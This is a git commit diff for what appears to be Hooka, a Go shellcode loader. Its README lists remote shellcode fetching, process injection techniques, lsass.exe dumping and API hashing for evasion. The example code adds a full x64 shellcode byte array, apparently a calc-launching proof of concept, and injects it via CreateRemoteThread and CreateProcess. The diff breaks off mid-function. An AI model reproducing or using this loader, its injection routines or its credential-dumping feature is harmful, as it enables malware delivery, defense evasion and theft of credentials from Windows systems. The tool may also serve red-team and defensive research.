little changes

This commit is contained in:
d3ext
2023-03-01 22:36:46 +01:00
parent 59e024d007
commit 12e1fb8c72
2 changed files with 5 additions and 4 deletions
+2 -1
View File
@@ -19,6 +19,8 @@ I started this project to create a powerful shellcode loader with a lot of malle
However I've also taken some code from [BananaPhone](https://github.com/C-Sto/BananaPhone) and [Doge-Gabh](https://github.com/timwhitez/Doge-Gabh) projects (thanks a lot to ***C-Sto*** and ***timwhitez***)
***Tested on x64, Windows 10***
# Features
- Get shellcode from remote URL or local file
@@ -38,7 +40,6 @@ However I've also taken some code from [BananaPhone](https://github.com/C-Sto/Ba
- CreateProcess
- EarlyBirdAPC
- UuidFromString
- QueueApcThread
- Dump lsass.exe process to a file
- Windows API hashing (see [here](https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware))
+3 -3
View File
@@ -144,14 +144,14 @@ import (
"github.com/D3Ext/Hooka/pkg/hooka"
)
var calc_shellcode = []byte{}
var calc_shellcode = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
func main(){
err := hooka.Fibers(calc_shellcode)
err := hooka.CreateRemoteThread(calc_shellcode)
if err != nil {
log.Fatal(err)
}
fmt.Println("Shellcode injected via Fibers")
fmt.Println("Shellcode injected via CreateRemoteThread")
err = hooka.CreateProcess(calc_shellcode)
if err != nil {